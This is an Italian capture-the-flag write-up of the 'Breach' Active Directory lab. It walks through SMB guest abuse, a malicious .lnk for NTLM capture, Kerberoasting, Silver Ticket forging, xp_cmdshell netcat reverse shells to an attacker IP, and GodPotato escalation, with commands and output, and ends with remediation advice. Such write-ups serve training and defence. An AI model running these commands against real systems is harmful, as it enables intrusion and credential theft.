🎯 Executive Summary
Breach è una macchina Windows Active Directory di difficoltà media che espone uno share SMB accessibile in modalità guest. Sfruttando i permessi di scrittura su tale share, vengono catturati hash NTLMv2 tramite file .url malevoli, ottenendo credenziali valide per l’utente julia.wong. L’enumerazione del dominio rivela un account kerberoastable (svc_mssql), il cui hash viene crackato per ottenere accesso all’account di servizio. Mediante un attacco Silver Ticket, viene impersonato l’utente Administrator per accedere a Microsoft SQL Server. La feature xp_cmdshell consente l’esecuzione di codice remoto come svc_mssql. Infine, l’escalation a NT AUTHORITY\SYSTEM viene eseguita abusando del privilegio SeImpersonatePrivilege tramite GodPotato.
| Attributo | Valore |
|---|---|
| OS | Windows Server 2022 |
| Difficulty | Medium |
| MITRE TTPs |
Reconnaissance
Nmap Scan
La scansione iniziale rivela un Domain Controller (breach.vl) con i servizi standard attivi (DNS, Kerberos, LDAP, SMB, , RDP, MSSQL, WinRM).
sudo nmap --open -v T4 -A -Pn 10.129.106.49
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-02-01 21:00:37Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.129.105.204:1433:
| Target_Name: BREACH
| NetBIOS_Domain_Name: BREACH
| NetBIOS_Computer_Name: BREACHDC
| DNS_Domain_Name: breach.vl
| DNS_Computer_Name: BREACHDC.breach.vl
| DNS_Tree_Name: breach.vl
|_ Product_Version: 10.0.20348
| ms-sql-info:
| 10.129.105.204:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-01T19:31:34
| Not valid after: 2056-02-01T19:31:34
| MD5: fa31 b34f 9fb7 a5c7 f6a1 ade3 a5ea c884
| SHA-1: a3d1 d4fa 5888 80de d9cf 1c00 ac65 8a90 f1b7 95a5
|_SHA-256: 4938 bf6c c15c a1bc 9d44 e1a5 311f bf6e 5469 1ace ef3c 48cd 2ea0 fe7b de5b b0e4
|_ssl-date: 2026-02-01T21:01:26+00:00; 0s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=BREACHDC.breach.vl
| Issuer: commonName=BREACHDC.breach.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-07T08:04:48
| Not valid after: 2026-03-09T08:04:48
| MD5: f457 54f6 0073 10ba ecb2 0f99 fca9 d035
| SHA-1: ccc9 9cbf 5171 71cb 42e1 4951 243c e58c a229 cd36
|_SHA-256: 27dd 4b87 17d3 579e baa5 97f7 b638 7b2b ba05 ad39 fd81 d60f 4108 3a48 3602 55f8
|_ssl-date: 2026-02-01T21:01:26+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: BREACH
| NetBIOS_Domain_Name: BREACH
| NetBIOS_Computer_Name: BREACHDC
| DNS_Domain_Name: breach.vl
| DNS_Computer_Name: BREACHDC.breach.vl
| DNS_Tree_Name: breach.vl
| Product_Version: 10.0.20348
|_ System_Time: 2026-02-01T21:00:49+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows Server 2022 (88%), Microsoft Windows Server 2012 R2 (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.064 days (since Sun Feb 1 20:29:01 2026)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=253 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-02-01T21:00:49
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 64.51 ms 10.10.14.1
2 64.73 ms 10.129.16.49SMB Enumeration (Null Session & Guest Access)
Il passo successivo consiste nel verificare se il protocollo SMB permette l’accesso senza credenziali o tramite l’account Guest. Utilizzando nxc (NetExec), scopriamo che l’autenticazione Guest è abilitata:
nxc smb breach.vl -u '%' -p '' --shares
SMB 10.129.105.204 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.105.204 445 BREACHDC [+] breach.vl\%: (Guest)
SMB 10.129.105.204 445 BREACHDC [*] Enumerated shares
SMB 10.129.105.204 445 BREACHDC Share Permissions Remark
SMB 10.129.105.204 445 BREACHDC ----- ----------- ------
SMB 10.129.105.204 445 BREACHDC ADMIN$ Remote Admin
SMB 10.129.105.204 445 BREACHDC C$ Default share
SMB 10.129.105.204 445 BREACHDC IPC$ READ Remote IPC
SMB 10.129.105.204 445 BREACHDC NETLOGON Logon server share
SMB 10.129.105.204 445 BREACHDC share READ,WRITE
SMB 10.129.105.204 445 BREACHDC SYSVOL Logon server share
SMB 10.129.105.204 445 BREACHDC Users READL’analisi rivela uno share non standard denominato share con permessi di READ e WRITE per gli utenti non autenticati. Questa è una vulnerabilità critica, poiché permette a un attaccante di interagire direttamente con il file system del server.
File System Discovery
Esplorando lo share tramite smbclient, identifichiamo una struttura di directory organizzata sotto la cartella \transfer\:
smbclient //10.129.106.49/share
smb: \transfer\> ls
. D 0 Mon Sep 8 12:13:44 2025
.. D 0 Sun Feb 1 22:08:58 2026
claire.pope D 0 Thu Feb 17 12:21:35 2022
diana.pope D 0 Thu Feb 17 12:21:19 2022
julia.wong D 0 Thu Apr 17 02:38:12 2025La presenza di cartelle personali suggerisce che questi utenti carichino o scarichino regolarmente file da questa posizione, rendendo lo share un punto ideale per un attacco di Coerced Authentication tramite file .url o .lnk.
NetExec automatizza la creazione di un file .lnk:
-M slinky: Carica un modulo specifico che crea un file di collegamento Windows (.lnk) malevolo.NAME="transfer\secret": Il file verrà chiamato secret.lnk e posizionato nella cartella transfer.SERVER=10.10.14.210: Questo è il parametro più importante. Il collegamento punta l’icona del file verso il nostro IP (la macchina dell’attaccante).
Cosa succede tecnicamente? Quando un utente legittimo (in questo caso julia.wong) apre la cartella transfer tramite il suo computer, Windows tenta di visualizzare l’icona del file secret.lnk. Per farlo, il sistema operativo dell’utente prova a connettersi al nostro server (10.10.14.210) tramite il protocollo SMB per recuperare l’immagine dell’icona. Durante questa connessione, Windows invia automaticamente l’hash NTLMv2 dell’utente nel tentativo di autenticarsi.
nxc smb 10.129.106.49 -u 'Guest' -p '' -M slinky -o SERVER=10.10.14.210 NAME="transfer\secret" SHARES="share"
SMB 10.129.106.49 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.106.49 445 BREACHDC [+] breach.vl\Guest:
SMB 10.129.106.49 445 BREACHDC [*] Enumerated shares
SMB 10.129.106.49 445 BREACHDC Share Permissions Remark
SMB 10.129.106.49 445 BREACHDC ----- ----------- ------
SMB 10.129.106.49 445 BREACHDC ADMIN$ Remote Admin
SMB 10.129.106.49 445 BREACHDC C$ Default share
SMB 10.129.106.49 445 BREACHDC IPC$ READ Remote IPC
SMB 10.129.106.49 445 BREACHDC NETLOGON Logon server share
SMB 10.129.106.49 445 BREACHDC share READ,WRITE
SMB 10.129.106.49 445 BREACHDC SYSVOL Logon server share
SMB 10.129.106.49 445 BREACHDC Users READ
SLINKY 10.129.106.49 445 BREACHDC [+] Found writable share: share
SLINKY 10.129.106.49 445 BREACHDC [+] Created LNK file on the share shareIntercettazione con Responder
Mentre il server vittima tenta di “parlare” con noi, usiamo Responder per metterci in ascolto e catturare i dati:
-I tun0: Indica a Responder di ascoltare sulla nostra interfaccia della VPN.-wd: Abilita il monitoraggio attivo e le risposte WPAD, massimizzando le probabilità di intercettare traffico.
Appena l’utente naviga nella cartella, Responder risponde alla richiesta di autenticazione fingendosi un server legittimo e salva l’hash ricevuto.
sudo responder -I tun0 -wd
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[*] Version: Responder 3.2.0.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.106.49
[SMB] NTLMv2-SSP Username : BREACH\Julia.Wong
[SMB] NTLMv2-SSP Hash : Julia.Wong::BREACH:bde8c2c00df241d1:B295EF5126D6674F9EC21DF8684B7882:010100000000000080726A780D94DC010177754019DF3659000000000200080050004C005600520001001E00570049004E002D0039005A004B0058003400540047004C004C004800450004003400570049004E002D0039005A004B0058003400540047004C004C00480045002E0050004C00560052002E004C004F00430041004C000300140050004C00560052002E004C004F00430041004C000500140050004C00560052002E004C004F00430041004C000700080080726A780D94DC0106000400020000000800300030000000000000000100000000200000842FF66EDB4FFA499896CA1B96EED906D89A8DFC3C9831C91C1E9EF358622F200A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003200310030000000000000000000Questo hash non è la password in chiaro, ma può essere decifrato offline (cracked) tramite hashcat tentando un attacco a dizionario.
hashcat -a 0 -m 5600 julia.hash ~/lab/HTB/BOX/rockyou.txtValidazione tramite SMB
Con le credenziali ottenute, utilizziamo impacket-smbclient per verificare a quali risorse julia.wong può accedere tramite il protocollo SMB:
impacket-smbclient 'breach.vl/julia.wong':'<SNIP>'@10.129.106.49Questo passaggio conferma che le credenziali sono valide per il dominio e ci permette di navigare nelle cartelle personali dell’utente per recuperare la prima flag (user.txt) all’interno della sua directory in \transfer\julia.wong\.
Infine, verifichiamo se l’utente ha i permessi per eseguire comandi remoti o ottenere una shell interattiva tramite WinRM (Windows Remote Management):
nxc winrm 10.129.106.49 -u 'julia.wong' -p '<SNIP>'
WINRM 10.129.106.49 5985 BREACHDC [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl)
WINRM 10.129.106.49 5985 BREACHDC [-] breach.vl\julia.wong:<SNIP>Nonostante le credenziali siano corrette per SMB, l'utente julia.wong non fa parte del gruppo "
Remote Management Users" o "Administrators". Pertanto, non possiamo ottenere una shell diretta tramite WinRM e dobbiamo cercare un altro vettore di movimento laterale all'interno del dominio.
Accesso e Enumerazione Iniziale
Poiché non abbiamo accesso diretto via WinRM, dobbiamo procedere con l’enumerazione di Active Directory tramite BloodHound per identificare altre vulnerabilità, come il Kerberoasting.
bloodhound-ce-python -u 'julia.wong' -p '<SNIP>' -d breach.vl -v --zip -c All -dc BREACHDC.breach.vl -ns 10.129.106.49
In questa fase cruciale del movimento laterale, eseguiamo un attacco di Kerberoasting. Questa tecnica permette di richiedere ticket di servizio per account di dominio che hanno un Service Principal Name (SPN) configurato, con l’obiettivo di crackarne la password offline.
Kerberoasting: Abuso degli Account di Servizio
Il comando utilizzato sfrutta lo strumento GetUserSPNs.py della suite Impacket per interrogare il Domain Controller:
impacket-GetUserSPNs breach.vl/julia.wong:<SNIP> -dc-ip 10.129.106.49 -request
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------------------- --------- -------- -------------------------- -------------------------- ----------
MSSQLSvc/breachdc.breach.vl:1433 svc_mssql 2022-02-17 11:43:08.106169 2026-02-02 06:23:58.843950
[-] CCache file is not found. Skipping...
$krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl/svc_mssql*$a15bc10f3ee56ff85f4732344a998d07$cf992f446b28b7320904b64be7db803d11715ef93ade6b2bb8ac46eca8853b2477f63c3dffb36022695cc75ff432d5f8421ad0cdf1482810ea00e144f28393b7c1e8561fa021fcb326d8f458c26d420e20366dec8f090f83ef431eeef8885b11f867dcdd82fc6133c818ee28a93235f279ae94d82d2fd682674346570745d9bfb0e7c9f30587ebb812063b1c10c0d4b9c839ae12ff322e07ddf0eed23990ccdcdd86d6b7153033575ac32cb44fa41a82a85dcdc6aba7a0c5e1d3cddb6b3ae21ecb9b7ef0fabdc86d932c46c18787706ae8b24b4bf5b59b41045c5c28e331ab64326ff6246840b5fe9cd53aab1e440894e64bc7c791401d53600da7f0a18c768602e38d7549c877dd77419cab53de1bcc281fc6bd5c455052275f1f5836cb5b41893d65f9d593920b8947c607177da90b5e4d7290289882314c6daa232f9beed8eba6cc5d7318bda7632376c6bef3c17a7ff43fe04782abe32cc866297c40062f0293400706e995b1a87ea4b8281d5decd17863bb92b8520bc9b61153d584f0a560295c8584031be507d9d008385445224ac3e8384f535da11983bdb7401465f20ebef3ad2af5b1f0f27bf3ab2db57c9dc6b64a35cb4095d56bfa3388864ccdd5f4122e1b862091da1a55d3cff5f20353c3e26d500f6a3b498189ccbe7a6a937444f563c69db38e8dd73a7a72064fdf0bce4128aa61fa54d51bda3c5cc0f86c41bbf13c23472c55213be1aaef26085ae8d12e82fd972353dca439063c146858dd4114937d46a7dea5d3a3a8d6fa567639457afd808953647fc547b6f82e1f66225af0b3e19910b630f584e6e0d5f646320c75738dcc8a70a75a3af808aee8fcd1099b2a6bf80ffb12326ad44a19ee66071dafa7c601faede2d0ba527b264b7f93da1837e8961d7832cf9f41fa6e676e2ea4d6f4829a6989e7d1b6dda49b350c2b927aa077264bcdf39a27fc70722754f45a6fa1eda573762169f01aeb493f07b3bb29495d5847005a87dd16f1a130c498eee7013f76d7dab14dd04e2d42e8fff7e547a55c1b426c63dd27cfe374e1d45d5546470a170412a1b903821b3fa1f796bab0293b2087f96ef811e5532145eac5182b97db61a4fd8472d7b38bfe4796fa5fd508f46c7c8237d7450f38163f1b57455b8422b0a372cc95d21ab3758c33cc6db6011726746bf1ba369e390eab064671fae3ac67c0a347630ac46131f9b1456b68d15605d712d23917d6cf3f2794b6eeadb24a45301f2f7fb24b2852751e1ae22c649fca95253e1b87c1eb8cc9a4f69d844a10cc34d2a904f04fb1af55c5126cbb86229ccb2fd0e006a0ed6a84590a2ae71a4032306d6e0c7db15bda6dadf85d7f5a6ba80fda58d3753016ab975c297414b951666da5040a113f1e4357fc2942eb0aa4b985063df1d9f18670b73db2e420fe6fd161f0895e04d59cfb70cfb19f8524170e1f463a652e3064f8727eaa92f93d18Dall’output si evince che il sistema ha identificato un account vulnerabile:
Service Principal Name: MSSQLSvc/breachdc.breach.vl:1433.Account Name: svc_mssql.L'Hash: Il blocco di testo che inizia con$krb5tgs$23$...è il ticket TGS cifrato utilizzando l’algoritmo RC4 (identificato dal tipo ).
In Kerberos, quando un utente richiede l’accesso a un servizio, il Domain Controller invia un ticket cifrato con l’hash della password di quell’account di servizio. Poiché Julia Wong è un utente autenticato, ha il diritto di richiedere questo ticket. L’attaccante può ora prendere questo hash e tentare un attacco di forza bruta offline (usando ad esempio hashcat o john) senza generare alcun log di fallimento autenticazione sul server. Se la password dell’account di servizio è debole (come in questo caso), l’account viene compromesso.
john MSSQLSvc.hash -w=~/lab/HTB/BOX/rockyou.txt
hashcat -a 0 -m 13100 MSSQLSvc.hash ~/lab/HTB/BOX/rockyou.txtL’attacco ha funzionato perché l’account svc_mssql utilizzava una password presente nel dizionario rockyou.txt. In un ambiente reale, questo sottolinea l’importanza critica di utilizzare password lunghe (oltre 25 caratteri) o Managed Service Accounts (gMSA) per gli account che possiedono un SPN, poiché questi sono i target principali per il Kerberoasting.
Silver Ticket
Un Silver Ticket è un ticket di servizio (TGS) forgiato manualmente. Poiché abbiamo l'hash della password del servizio, possiamo creare un ticket che affermi che siamo chiunque vogliamo (in questo caso l’Administrator) senza mai chiedere il permesso al Domain Controller.
impacket-ticketer -nthash 69596c7a*************78870e25a5c -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -dc-ip breachdc -spn MSSQLSvc/breachdc.breach.vl administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for breach.vl/administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in administrator.ccacheAnalisi del Comando ticketer.py
Il comando utilizza gli elementi chiave del dominio per costruire un’identità falsa ma tecnicamente valida per il servizio specifico:
nthash 69596***: È l’hash NT della password dell’utentesvc_mssql. Questo hash viene usato per firmare il ticket; poiché il servizio MSSQL usa la propria chiave per verificare i ticket, lo accetterà come autentico.domain-sid S-1-5-21-...: Il Security Identifier del dominio, necessario per costruire un PAC (Privilege Attribute Certificate) valido all’interno del ticket.spn MSSQLSvc/breachdc.breach.vl: Definisce l’ambito del ticket. Un Silver Ticket è limitato a un singolo servizio (a differenza del Golden Ticket che colpisce l’intero dominio).administrator: L’utente che vogliamo impersonare. Non serve la password dell’Administrator, poiché stiamo forgiando noi il documento di identità.
Dall’output di Impacket vediamo i passaggi tecnici della forgiatura:
PAC Infos: Viene creato un certificato di privilegi che dichiara che l’utente “Administrator” appartiene ai gruppi di sicurezza più elevati (come Domain Admins).
Signing/Encrypting: Il ticket viene firmato usando l’hash dell’account di servizio. Questo è il motivo per cui il server MSSQL si fiderà del ticket: riconosce la firma come propria.
administrator.ccache: Il risultato è un file di cache Kerberos che contiene il nostro “passaporto falso”.
Perché questa tecnica è micidiale?
-
Invisibilità: Il Domain Controller non viene mai contattato durante l’uso di un Silver Ticket. Non apparirà alcun log di autenticazione Kerberos (Event ID 4769) sul DC.
-
Persistenza: Finché la password di svc_mssql non viene cambiata, questo ticket (o la capacità di generarne di nuovi) rimane valido.
-
Privilegi: Anche se svc_mssql è un utente limitato, il ticket forgiato ci permette di presentarci al database come Administrator, ottenendo pieni poteri di sysadmin.
Accesso a MSSQL e Remote Code Execution (RCE)
Entriamo nel database come BREACH\Administrator. Nonostante l’utente reale del servizio sia svc_mssql, il database ci vede come il massimo amministratore del dominio grazie al Silver Ticket.
impacket-mssqlclient -k breachdc.breach.vl
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (BREACH\Administrator dbo@master)>In MSSQL, la feature xp_cmdshell permette di eseguire comandi direttamente sulla shell del sistema operativo (cmd.exe). Di default è disabilitata per sicurezza, ma essendo sysadmin, possiamo riattivarla:
SQL (BREACH\Administrator dbo@master)> xp_cmdshell whoami /all
output
--------------------------------------------------------------------------------
NULL
USER INFORMATION
----------------
NULL
User Name SID
================ =============================================
breach\svc_mssql S-1-5-21-2330692793-3312915120-706255856-1115
NULL
NULL
GROUP INFORMATION
-----------------
NULL
Group Name Type SID Attributes
========================================== ================ =============================================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQL$SQLEXPRESS Well-known group S-1-5-80-3880006512-4290199581-1648723128-3569869737-3631323133 Enabled by default, Enabled group, Group owner
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
NULL
NULL
PRIVILEGES INFORMATION
----------------------
NULL
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
NULL
NULL
USER CLAIMS INFORMATION
-----------------------
NULL
User claims unknown.
NULL
Kerberos support for Dynamic Access Control on this device has been disabled.
NULLOra che abbiamo il potere di eseguire comandi, scarichiamo nc64.exe (Netcat) sul server per ottenere una shell interattiva sulla nostra macchina:
xp_cmdshell powershell -c "C:\Temp\nc64.exe -e cmd 10.10.14.210 4444"
❯ rlwrap -cAr nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.108.32 61958
Microsoft Windows [Version 10.0.20348.558]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>hostname && whoami
hostname && whoami
BREACHDC
breach\svc_mssqlNota importante: Anche se siamo entrati in MSSQL come Administrator, i comandi di sistema vengono eseguiti nel contesto dell'utente che avvia il servizio SQL, ovvero
svc_mssql.
Privilege Escalation: Da Service Account a SYSTEM
L’ultimo passo è scalare i privilegi da svc_mssql a SYSTEM. Il comando whoami /priv rivela che possediamo il SeImpersonatePrivilege.
Carichiamo ed eseguiamo l’exploit GodPotato.exe. Questo tool forza un servizio di sistema ad autenticarsi contro un pipe creato dall’exploit, permettendoci di rubare il token di SYSTEM e usarlo per lanciare un nuovo processo con i massimi privilegi.
c:\Temp>.\god.exe -cmd "cmd /c c:\temp\nc64.exe 10.10.14.210 445 -e cmd.exe"
.\god.exe -cmd "cmd /c c:\temp\nc64.exe 10.10.14.210 445 -e cmd.exe"
[*] CombaseModule: 0x140715883560960
[*] DispatchTable: 0x140715886151544
[*] UseProtseqFunction: 0x140715885443888
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\99961d32-c28b-4c8d-8939-d80a3968cd37\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000e002-1144-ffff-5483-fb5a2c6aa2b9
[*] DCOM obj OXID: 0x7ac62f94e7e47774
[*] DCOM obj OID: 0xaf4dd28ef08e435f
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 920 Token:0x748 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2400🛡️ Remediation & Defense
La compromissione di Breach è il risultato di una catena di debolezze configurative. Di seguito le contromisure necessarie per prevenire ogni fase dell’attacco.
Disabilitazione Accesso Guest:
L’attacco è iniziato abusando di uno share scrivibile in modalità
Guestper forzare l’autenticazione.
- Impedire sessioni anonime o guest su SMB tramite GPO:
Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → Network access:Allow anonymous SID/Name translation (Disabled).- Restrizione Outbound SMB:
Bloccare le connessioni SMB in uscita (porte445,139) verso internet o segmenti di rete non fidati a livello di firewall per impedire l’esfiltrazione di hash.- SMB Signing: Forzare la firma dei pacchetti SMB per prevenire attacchi di relay:
Set-SmbServerConfiguration -RequireSecuritySignature $true.
Mitigazione del Kerberoasting:
L’uso di password deboli per account con
SPNha permesso il movimento laterale.
- Password Complexity: Implementare password di almeno 25-30 caratteri per gli account di servizio, rendendo il cracking offline computazionalmente impossibile.
- Managed Service Accounts (gMSA): Utilizzare account gMSA, dove Windows gestisce automaticamente password complesse e la loro rotazione, eliminando il rischio di Kerberoasting.
Protezione del Database MSSQL:
L’abuso di un
Silver Ticketha garantito l’accesso sysadmin.
- Disabilitazione xp_cmdshell: Questa feature deve essere disabilitata se non strettamente necessaria:
EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;.- Principio del Minimo Privilegio: L’account di servizio del database non dovrebbe avere privilegi amministrativi nel dominio o sul server locale.
- Rotazione Chiavi: Cambiare periodicamente la password dell’account di servizio invalida eventuali Silver Ticket già forgiati dall’attaccante.
Prevenzione dell'Escalation:
L’uso di exploit “Potato” è stato possibile grazie a
privilegi di impersonificazioneresidui.
- Rimozione SeImpersonatePrivilege: Valutare se l’account di servizio necessita realmente di questo privilegio. In molti casi, è possibile eseguire servizi come LocalService (senza tale privilegio) invece di NetworkService o account di dominio.
- Monitoraggio EDR: Configurare soluzioni di monitoraggio per rilevare pattern tipici di GodPotato, come la creazione di named pipe anomale o l’impersonificazione di token di sistema da parte di processi non autorizzati.
